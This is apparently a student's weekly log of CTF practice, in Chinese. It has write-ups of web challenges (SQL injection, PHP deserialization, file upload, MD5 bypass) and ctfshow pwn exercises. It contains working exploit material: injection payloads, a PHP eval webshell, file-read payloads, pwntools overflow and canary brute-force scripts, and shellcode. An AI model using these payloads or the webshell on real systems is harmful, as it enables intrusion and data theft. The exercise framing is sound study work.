第一天
本题难度⭐⭐
web题目:[强网杯 2019]随便注
难点:handler注入获取字段值
1.进入靶机获得页面,题目提示sql注入,所以先进行模式解题目
首先分析是字符型还是数字型的;
字符型:'or 1=1#(看看能否回显全部)
数字型:1 and 1=1
其中输入单引号发现出现报错,在用联合注入试图获取数据库名,但题目回显出提示
大体上题目字符型居多,
因为过滤了select,这里可以考虑布尔注入,但这题有明显大量回显,采用堆叠注入或许是更好的方式,所以
';show databases;
可以获得所有数据库名
根据上图可以看不出什么,直接爆表名
';show tables;
然后爆字段
';show columns from `1919810931114514`;#
在堆叠注入无法直接获取字段值
需要采取handler注入
';handler `1919810931114514` open;handler `1919810931114514` read first#
拿到flag
本题难度⭐⭐
pwn题目:跳板溢出
难点:找到漏洞位置
对于pwn题目拿到文件就应该先查看文件权限,再寻找方法
看出开启了NX保护,并且可以修改plt表,在拖进ida反编译,找到了main函数,一个个点开发现sub_8049059可能包含需要信息,
看到有read函数,检查可输入字节为32,点进read函数发现覆盖不到返回地址,所以排除read函数漏洞可能,紧接着由于汇编代码是c++有些看不懂,这里问了群里的师傅给出两个方法,1.大致猜测(被我直接pass,根本猜不出来),2.爆破一下
所以我就采取了爆破看看是否有用,输入各种数据发现,输入的I会变成IronMan
接下来返回ida我们可以找到strcpy函数,因为I的替换可以进行溢出,所以0x6c=108,(108+4)/7=16,凑好了16个I所以直接再加上shellcode就可以进行利用
shift+f12召唤字符串,可以发现有现成的system和cat /ctfshow_flag,找到字符串ctrl+x跟踪回到函数
于是构建脚本
from pwn import *
context.log_level= 'debug'
io = remote('pwn1.challenge.ctf.show',28237)
elf = ELF("./pwn1")
cat_flag = 0x804902E
payload = 16*b'I'+p32(cat_flag)#payload = 16*b'I'+p32(system)+b'aaaa'+p32(str_cat_flag_)
#第二个payload 是分开了system和命令参数,中间需要填返回地址,这里可以随便填四个字符。
io.sendline(payload)
io.recv()
io.interactive()
直接给了后门函数所以写出payload拿到flag
第二天
本题难度⭐
web题目:[极客大挑战 2019]Secret File
考点为:burp抓包以及php伪协议读取
打开在源码界面发现提示,原本计划扫目录先,但发现频繁出现429响应码,说明访问频繁。
进入页面
再点击提示已经结束,说明需要的线索就在这个跳转之中,所以我们打开burp进行抓包,
可以获得
根据提示打开到
提示了我们在flag里面,还有一层简单的过滤,根据经验,通常读取文件用php伪协议,所以这里我们就用php://filter/read=convert.base64-encode/resource=flag.php,就可以读取
一看这个码有大小写英文还有数字,想到base64所以就进行hackbar解码,得到
就拿到了flag
难度:⭐
pwn题目:迎面走来的flag让我如此蠢蠢欲动
考点:在于利用函数以及给定参数格式
反编译32位找到ctfshow,明显的栈溢出gets函数漏洞,所以马上就知道偏移量0x6c+4,然后文中发现有flag提示
明显只要输入参数a=876&&a2=877就可以输出flag,所以调用flag
写出脚本
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os ='linux',log_level = 'debug')
io = remote('pwn1.challenge.ctf.show',28274)
offset = 0x6c+4
elf = ELF("./pwn")
cat_flag =0x8048586
puts_plt=elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
payload = cyclic(offset)+p32(cat_flag)+p32(0)+p32(876)+p32(877)
io.send(payload)
io.interactive()
要注意的是利用函数后,要放上返回地址。
第三天
难度:⭐⭐
web题目:[网鼎杯 2020 青龙组]AreUSerialz 1
考点:序列化绕过字符检测以及强相等和弱相等之间的差异
int类型的2与字符类型的2,在__destruct()的强相等下是不等的,而弱相等情况下又是相等的
打开
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
明显是一个反序列化题目,所以从上面给的属性开始看
查看process()是跳板,用来执行函数,
会进行实际写入和读取 ,这里看到能读取就想到是否可以写木马植入,但是
最后的魔术方法进行重新赋值,把内容覆盖了,所以只能找别的方法,这里重新赋值1的判断是强相等,上面的使用又是弱相等,而这里要运用知识点
int类型的2与字符类型的2,在__destruct()的强相等下是不等的,而弱相等情况下又是相等的
所以只要我们给op赋值的时候传整数型就可以了
这里还有一个注意点,因为这里本身的FileHandler属性里面是protected属性,这个属性会序列化会产生保护,会有截断影响payload。
直接改为public绕过
<?php
class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content='';
}
$a=new FileHandler();
print(serialize($a));
拿到编码,一看就是base64,进行解码
难度:⭐⭐⭐
pwn题目:模拟壳保护
考点:在于看懂壳是如何保护检查溢出的,找到合理调用点
收获:懂得canary保护原理,之间都只是理论理解,实际做了一遍理解加深很多。
进入反编译找到canary,这里是把本地文件的canary.txt里的写入stream,然后再把它放进全局变量,再看下一步
看到ctfshow函数,首先看到s1用来记录壳值,然后下面的while循环,需要理解含义,其实就是一个不断读取的循环,直到这个值是10,不过这里值是ascill码值,所以就是换行符,意思就是读到换行符退出,
isoc99是把v2字符转为整数形式储存。
之后read然后将它存入到buf之中,然后if比较s1的开头四个字符是否和储存的壳值一样,检查是否发生栈溢出覆盖返回值,那我们这里就要满足值一样才能绕过,这里就相当于模拟了一个Canary栈溢出保护。
这里最好进行一个本地的调试,这样会让自己思维更加清晰,本质上爆破就是一个盲盒测试,具体步骤不展示,附上我跟随的链接,写的很好。
ctfshow pwn入门53- Track 知识社区 - 掌控安全在线教育 - Powered by 掌控者 (zkaq.cn)
这里有一点十分注意
关于爆破canary:
它首先程序它读取了本地那个文件,它的内容是不是知就在那里,现在我们不知道,但是它内容已经读取在那里不。变了,已经它不会变动了,然后我们在本地调试出大概它的位置在哪里,我们知道对不对,我们只改第一位,它后面的是已知的呀,我们不去改动它就可以了呀。(这里的改动就是根据栈溢出覆盖,选择覆盖到第几位,因为这个壳就紧跟在溢出的后面,所以我们就先覆盖到第一位,后面三位本来就是正确的,所以直到覆盖的数据和本来数据相同,那么就爆破出来了)
给出脚本
from pwn import *
context.log_level = 'critical' #只输出关键信息
canary = b''
for i in range(4):
for c in range(0xFF):
io = remote('pwn.challenge.ctf.show', 28270)
io.sendlineafter('>', '-1')
payload = b'a' * 0x20 + canary + p8(c)
io.sendafter('$ ', payload)
ans = io.recv()
print(ans)
if b'Canary Value Incorrect!' not in ans:
print('The index({}), value({})'.format(i, c))
canary += p8(c)
break
else:
print('Trying...')
io.close()
print('canary=', canary)
io = remote('pwn.challenge.ctf.show', 28270)
elf = ELF('./pwn')
flag = elf.sym['flag']
payload = b'a' * 0x20 + canary + p32(0) * 4 + p32(flag)
io.sendlineafter(b'>', b'-1')
io.sendafter('$ ', payload)
io.interactive()
难点:
1. 0x20怎么来?
2.最后为什么payload = b'a' * 0x20 + canary + p32(0) * 4 + p32(flag), p32(0) * 4哪里来的
可以通过本地调试发现,main函数就在四个后,所以跳转到call(main)那里,变成call(flag)这个函数,就可以拿到flag咯。
第四天
难度:⭐⭐
web题目:[ACTF2020 新生赛]Upload1
考点:文件上传
打开页面发现上传,然后上传发现有前端验证,可以关闭js或者是删除当地源代码进行绕过,然后需要知道php格式有些能进行绕过,一般有大小写等操作,这里发现phtml可以绕过直接上传
一句话木马访问一个phtml后缀的文件里
<?php eval($POST_['cmd']);?>
然后用蚁剑拿到权限就可以了。
难度:⭐
pwn题目:溢出
考点:找到覆盖点
查看代码,发现总体逻辑就是要输入正确的密码就会输出flag,那我们肯定是不知道的,这里也没有说明是什么组成密码,所以不要想用纯爆破来解决,一般问题都在输入上面,我是反着看的,从下往上,发现输入s1可输入64位,但发现s1和s差了0x1A0-0x60位,本来试图采取跟上一题一样壳爆破进行找到flag,但位数不够,然后看上面有一个name输入256位,所以发现name所在的v5和储存密码的s差100,这里就可以覆盖到,但是覆盖调用函数我们一般都是,这里你会发现也没有找到256范围内的ret,所以这里要运用到一个知识点
puts函数:没遇到 0x00 ,puts就会继续往下读取 s 的字节,直到读取到 0x00 之后,才会停止输出
那程序中肯定是本来就有0x00设置了的,那我们把它继续覆盖掉,puts函数就会一直输出到遇到0x00为止,一定范围内就会输出储存的password,
疑点:覆盖不会把password数据覆盖吗??
答:这里是有先后顺序的,题目里是name输入完之后,在这基础上才把password放到指定位置上,所以不会被覆盖。
逗号之后就是密码了,然后输入密码就拿到flag了
第五天
难度:⭐
web题目:[极客大挑战 2019]BuyFlag
考点:弱相等
进去找到playflag页面
f12看下源码有提示,让我们传参password=404还有钱,这里numeric函数要求不能是数字,但后面要求等于404所以根据弱相等我们就输入404a就可以绕过,因为比较时候只比较数字,遇到字符串停止,所以这里绕过,
页面还要求一定身份,看cookie:user=0,所以试着改为1,改成cult不行,然后再传参
这里还有一点:传参money不能传过长的,会出现too long,所以改用科学计数法1e10绕过,然后拿到flag
pwn题目:Nx不开随便打
难度:⭐
考点:找到shellcode存放位置
拿到下面这张图片。发现有gets函数,发现栈溢出,点击进入
接下来我们接着看: leave的作用相当于MOV SP,BP;POP BP。
释放当前子程序在堆栈中的局部变量,使BP和SP恢复成最近一次的ENTER指令被执行前的值。
因为leave指令会释放栈空间,因此我们不能使用v5后面的24字节。
io.recvuntil('[')
v5 = io.recvuntil(']', drop=True)
v5 = int(v5, 16) .
而生成的shellcode中对rsp进行了其他操作,所以leave指令会对shellcode的执行造成影响。故v5 中不能存放shellcode,v5后的8个字节也不能存放(这里需要存放返回地址)。故我们的shellcode只能 放在v5首地址后的 24+8后的地址。
疑问:函数运行时不是返回地址了,那把shellcode放在返回地址后面还有用吗??
答:因为这里没有开NX保护,所以这里栈上的数据会被执行,这就是NX保护是否可以的区别。
第六天
难度:⭐⭐
web题目:[BJDCTF2020]Easy MD5
考点:md5绕过
进去发现输入什么都没有回显,源代码也没提示,扫目录限速,所以抓包看看
发现了收到的有Hint,告诉我们输入的会变成md5加密,所以要找一个会变成 'or ****
1.ffifdyop
2.129581926211651571912466741651878684928
可以进行md5加密为’or 'xxxxx'格式。
之后输入后跳转
要我们传参MD5相等的
然后搜索一下输入,成功后到达
又是一个md5强弱问题,这里就要搜索谷歌来解决问题,要用下面这个知识点
2.PHP特性
$_POST['a1']!==$_POST['a2']
&&
md5($_POST['a1'])===md5($_POST['a2'])
成立的条件是a1和a2值不相等,但是md5后的值相等。因为这里是===不仅比较值相等还会比较值得类型是否相同0E在这里就不可用了。
php中md5和sha1函数都无法处理数组,会返回NULL
所以构造a1[]=1&&a2[]=2就可以绕过。
难度:⭐
pwn题目:NX开了也能打
考点:找到shellcode存放位置
shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
查看保护,发现NX保护,好像就不能直接shellcode了
看下主函数,发现有read输入函数,这里要注意到buf数组的这里运行,
问下gpt大哥熟不熟,发现重点是7打开了可读可写可执行,那么是不是把shellcode写到这里面,就能运行了,刚好开辟了0x400u,和下面read一样,所以直接构造paylaod就行
脚本
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28117)
shellcode_x64 =asm(shellcraft.sh())
io.sendline(shellcode_x64)
io.interactive()
所以说有时候需要具体情况具体分析,东西并不是一成不变的。
第七天
难度:⭐⭐
web题目:网鼎杯 2018]Fakebook1
考点:sql注入以及找到什么要绕过
看到一个注册登陆页面,扫一下
python dirsearch.py -u http://df620cba-d0c8-4572-9070-2f55fb89c8fe.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
#-u 扫描的url #-e 扫描的目录后缀 #-t 设置扫描线程 #-x 排除指定的网站状态码(用逗号隔开)
注册一下先试试
注册后查找下发现下面这里网页提示了?no=1,感觉应该是sql,输入2-1发现是数字注入,然后order by 测出了是4列,再用union select 1,2,3,4发现竟然不行,出现hacker提示
经过不断尝试发现只要输入union select 就会出现hack,所以这里有多种绕过
1./**/代替空格
2.union 用 union all select 绕过
发现username可以回显,所以进行常规注入
找到数据储存使用序列化,序列化就意味着需要源码,因为应该是构造相应数据来序列化时产生信息泄露来获取,所以扫出来的目录包含了。
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
这里面重点就是
function get($url)
{
$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);//
//【*】curl_init : 初始化一个curl会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。
//【*】curl_setopt : 请求一个url。
其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。
//【*】CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
这里用curl执行命令,想到php伪协议读取服务器本地文件
疑问:文件在哪呢
答: 前面报错显示了文件途径,并且扫到了flag.php,猜测统一路径
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);return $output;
}
构造序列化
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
疑问:为什么能直接在这传序列化?
答:相当于自动在blog填入这段数据,然后系统会显示调用curl函数造成泄露.
看到base64编码 ,解码拿到flag{c3b94c42-6c12-4509-9824-3eab3bebf32c}
还有个非预期解
使用load_file()函数,直接得到flag
payload:no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4
难度:⭐⭐⭐
pwn题目:看汇编
考点:学会看汇编代码,找到可执行段。
检查保护,发现提示有可执行段,并且NX没开,但是没办法改写plt和got段
进入后发现没法反编译,
能力强可以直接看,弱点的话借用一下gpt
不一定对,但是有借鉴提示用处,对于初学者看懂汇编有帮助
很明显接着我们要去看log_11AC函数,
将0赋值给了rbp+var_4,然后跳转到loc_123A函数
将rbp+var_4的值赋值给eax,如果eax<rbp+var_8跳转到loc_11b8函数
看到这里是否发现cmp就是if语句
疑问:为什么有的是大于出0,有的是小于等于出0??
答:这里要注意cmp的下一条指令,有的是jl,有的是jle。
跳转指令(jump instructions)是汇编语言中用于实现条件分支的指令。它们根据条件代码寄存器(EFLAGS)中的标志位进行条件判断,并根据结果跳转到不同的代码位置。
以下是常见的条件跳转指令和它们的含义:
jg
:表示无符号比较结果大于 0。jge:
表示无符号比较结果大于等于 0。jl:
表示无符号比较结果小于 0。jle
:表示无符号比较结果小于等于 0。je
:表示相等比较结果为真。jne
:表示不等比较结果为真。
发现一个是要大于40,一个小于70,所以是
40<输入<70
cdqe使用eax的最高位拓展rax高32位的所有位 movzx则是按无符号数传送+扩展(16-32) EAX是 32位的寄存器,而AX是EAX的低16位,AH是ax的高8位,而AL是ax的低8位 大致就是将我们输入的字符串 每一位进行比较,如果不在0x60~0x7A这个范围就跳转 剩下几个就是跳转的范围
同样的方法看,0x2F<=输入<=0x5A
最终要到达
否则跳转到这,执行我们输入的字符串
整体就是要求输入必须得是常规字符的,因为asm生成的shellcode会有乱码不能显示,所以输入不行,到网上查找可以用的shellcode
脚本
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28135)
io.recvuntil("Shellcode")
shellcode=b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()
周报
本周总结:
1.pwn栈溢出基本知识学习机运用
2.web历年比赛真题学习
下周计划:
1.pwn堆溢出前置基础及利用
2.web历年比赛真题学习
3.英语6级准备